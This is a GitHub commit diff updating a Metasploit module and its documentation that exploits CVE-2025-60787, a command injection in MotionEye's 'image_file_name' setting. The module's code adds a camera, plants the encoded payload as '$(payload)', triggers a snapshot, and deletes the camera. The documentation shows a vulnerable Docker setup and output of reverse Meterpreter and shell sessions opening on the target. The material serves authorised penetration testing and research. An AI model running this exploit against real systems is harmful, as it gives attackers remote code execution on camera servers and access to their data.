Skip to content

Commit c05a9d3

Browse files
committed
code review changes from @bwatters-r7
1 parent 25624e9 commit c05a9d3

File tree

2 files changed

+44
-39
lines changed

2 files changed

+44
-39
lines changed

documentation/modules/exploit/multi/http/motioneye_auth_rce_cve_2025_60787.md

Lines changed: 20 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -5,21 +5,22 @@ This module exploits a template injection vulnerability in the [MotionEye Fronte
55
MotionEye Frontend versions 0.43.1b4 and prior are vulnerable to OS Command Injection in configuration parameters such as `image_file_name`.
66
Unsanitized user input is written to MotionEye Frontend configuration files, allowing remote authenticated attackers with admin access to achieve code execution.
77

8-
Exploit workflow:
9-
1. Adds a new camera in MotionEye Frontend.
10-
2. Injects the payload into the image_file_name field (used for naming camera screenshots).
11-
3. Captures a screenshot, triggering the payload.
12-
13-
Successful exploitation may result in the remote code execution as the user running
14-
of the web server, potentially exposing sensitive data or disrupting survey operations.
8+
Successful exploitation will result in the command executing as the user running
9+
the web server, potentially exposing sensitive data or disrupting survey operations.
1510

1611
An attacker can execute arbitrary system commands in the context of the user running the web server.
1712

13+
## Exploit Workflow
14+
15+
1. Adds a new camera in MotionEye Frontend.
16+
2. Injects the payload into the image_file_name field (used for naming camera screenshots).
17+
3. Captures a screenshot ("snapshot" in the terminology of MotionEye), triggering the payload.
18+
1819
## Testing
1920

2021
1. Use Docker to set up the MotionEye app
2122

22-
`docker run -p 9999:8765 ghcr.io/motioneye-project/motioneye@sha256:718171663d28f04f2fb97244f8ef03a814367b06078fc00685acc47f61663890`
23+
`docker run -p 9999:8765 ghcr.io/motioneye-project/motioneye@sha256:2dcc3c4da1830ef824067375b2e022fa28c5fdbca773f5496bd35543ec45bef7`
2324

2425
2. Open http://127.0.0.1:9999/ and make sure the app is available
2526

@@ -43,15 +44,15 @@ msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > run
4344
[*] Started reverse TCP handler on 192.168.19.130:4444
4445
[*] Running automatic check ("set AutoCheck false" to disable)
4546
[+] The target appears to be vulnerable. Detected version 0.43.14, which is vulnerable
46-
[*] Adding camera...
47+
[*] Adding malicious camera...
4748
[+] Camera successfully added
4849
[*] Setting up exploit...
49-
[+] Exploit installation completed
50-
[*] Executing exploit...
51-
[+] Execution exploit request sent successfully
52-
[*] Removing camera
50+
[+] Exploit setup complete
51+
[*] Triggering exploit...
52+
[+] Exploit triggered, waiting for session...
5353
[*] Sending stage (3045380 bytes) to 172.17.0.2
5454
[*] Meterpreter session 1 opened (192.168.19.130:4444 -> 172.17.0.2:38124) at 2025-10-04 21:08:57 -0400
55+
[*] Removing camera
5556
[+] Camera removed successfully
5657
5758
meterpreter > sysinfo
@@ -78,15 +79,15 @@ msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > run
7879
[*] Started reverse TCP handler on 192.168.19.130:4444
7980
[*] Running automatic check ("set AutoCheck false" to disable)
8081
[+] The target appears to be vulnerable. Detected version 0.43.14, which is vulnerable
81-
[*] Adding camera...
82+
[*] Adding malicious camera...
8283
[+] Camera successfully added
8384
[*] Setting up exploit...
84-
[+] Exploit installation completed
85-
[*] Executing exploit...
86-
[+] Execution exploit request sent successfully
85+
[+] Exploit setup complete
86+
[*] Triggering exploit...
87+
[+] Exploit triggered, waiting for session...
88+
[*] Command shell session 1 opened (192.168.19.130:4444 -> 172.17.0.2:60160) at 2025-10-06 04:46:34 -0400
8789
[*] Removing camera
8890
[+] Camera removed successfully
89-
[*] Command shell session 1 opened (192.168.19.130:4444 -> 172.17.0.2:60160) at 2025-10-06 04:46:34 -0400
9091
9192
cat /etc/os-release
9293
PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
@@ -200,5 +201,5 @@ if __name__ == '__main__':
200201

201202
Example of usage:
202203
```
203-
python3 ./hash.py --method "GET" --path "/config/1/get/?force=true&_=1759747431350&_username=admin" --body '' --key ""
204+
python3 ./main.py --method "GET" --path "/config/1/get/?force=true&_=1759747431350&_username=admin" --body "" --key ""
204205
```

modules/exploits/multi/http/motioneye_auth_rce_cve_2025_60787.rb

Lines changed: 24 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -20,8 +20,8 @@ def initialize(info = {})
2020
MotionEye Frontend versions 0.43.1b4 and prior are vulnerable to OS Command Injection in configuration parameters such as image_file_name.
2121
Unsanitized user input is written to MotionEye Frontend configuration files, allowing remote authenticated attackers with admin access to achieve code execution.
2222
23-
Successful exploitation may result in the remote code execution as the user running
24-
of the web server, potentially exposing sensitive data or disrupting survey operations.
23+
Successful exploitation will result in the command executing as the user running
24+
the web server, potentially exposing sensitive data or disrupting survey operations.
2525
2626
An attacker can execute arbitrary system commands in the context of the user running the web server.
2727
},
@@ -188,20 +188,21 @@ def add_camera
188188
'method' => 'POST',
189189
'ctype' => 'application/json',
190190
'data' => {
191-
'scheme' => 'rtsp',
192-
'host' => '127.0.0.1',
191+
'scheme' => '',
192+
'host' => '',
193193
'port' => '',
194194
'path' => '/',
195195
'username' => '',
196-
'password' => '',
197-
'proto' => 'netcam',
198-
'camera_index' => 'tcp'
196+
'proto' => 'netcam'
199197
}.to_json
200198
)
201199

202-
begin
203-
json_body = JSON.parse(res.body)
204-
rescue JSON::ParserError
200+
unless res && res.code == 200
201+
fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200")
202+
end
203+
204+
json_body = res.get_json_document
205+
unless json_body
205206
fail_with(Failure::UnexpectedReply, 'Unable to parse the response')
206207
end
207208

@@ -217,14 +218,15 @@ def add_camera
217218
def set_exploit(camera_id)
218219
print_status('Setting up exploit...')
219220

221+
camera_name = Rex::Text.rand_text_alphanumeric(4..16)
220222
res = send_signed_request_cgi(
221223
'uri' => normalize_uri(target_uri.path, '/config/0/set/'),
222224
'method' => 'POST',
223225
'ctype' => 'application/json',
224226
'data' => {
225227
camera_id => {
226228
'enabled' => true,
227-
'name' => 'Camera1',
229+
'name' => camera_name,
228230
'proto' => 'netcam',
229231
'auto_brightness' => false,
230232
'rotation' => '0',
@@ -236,7 +238,7 @@ def set_exploit(camera_id)
236238
'network_smb_ver' => '1.0',
237239
'network_username' => '',
238240
'network_password' => '',
239-
'root_directory' => '/var/lib/motioneye/Camera1',
241+
'root_directory' => "/var/lib/motioneye/#{camera_name}",
240242
'upload_enabled' => false,
241243
'upload_picture' => false,
242244
'upload_movie' => false,
@@ -248,7 +250,6 @@ def set_exploit(camera_id)
248250
'upload_subfolders' => false,
249251
'upload_username' => '',
250252
'upload_password' => '',
251-
'upload_authorization_key' => '',
252253
'upload_endpoint_url' => '',
253254
'upload_access_key' => '',
254255
'upload_secret_key' => '',
@@ -258,7 +259,7 @@ def set_exploit(camera_id)
258259
'command_storage_enabled' => false,
259260
'text_overlay' => false,
260261
'text_scale' => '1',
261-
'video_streaming' => true,
262+
'video_streaming' => false,
262263
'streaming_framerate' => '5',
263264
'streaming_quality' => '85',
264265
'streaming_resolution' => '100',
@@ -270,7 +271,6 @@ def set_exploit(camera_id)
270271
'image_file_name' => "$(#{payload.encoded})",
271272
'image_quality' => '85',
272273
'capture_mode' => 'manual',
273-
'snapshot_interval' => '0',
274274
'preserve_pictures' => '0',
275275
'manual_snapshots' => true,
276276
'movies' => false,
@@ -285,7 +285,7 @@ def set_exploit(camera_id)
285285
'frame_change_threshold' => '0.6507161458333334',
286286
'max_frame_change_threshold' => '0',
287287
'auto_threshold_tuning' => false,
288-
'auto_noise_detect' => true,
288+
'auto_noise_detect' => false,
289289
'noise_level' => '13',
290290
'light_switch_detect' => '0',
291291
'despeckle_filter' => false,
@@ -370,10 +370,14 @@ def check
370370
return CheckCode::Detected("At the time of writing the module, no patch for this vulnerability exists. A newer version #{motion_version} has been found compared to the vulnerable releases; however, it is unclear whether the issue has been fixed. It is recommended to review the release notes")
371371
end
372372

373+
def cleanup
374+
del_camera(@camera_id) unless @camera_id.nil?
375+
super
376+
end
377+
373378
def exploit
374-
camera_id = add_camera
375-
set_exploit(camera_id)
376-
trigger_exploit(camera_id)
377-
del_camera(camera_id)
379+
@camera_id = add_camera
380+
set_exploit(@camera_id)
381+
trigger_exploit(@camera_id)
378382
end
379383
end

0 commit comments

Comments
 (0)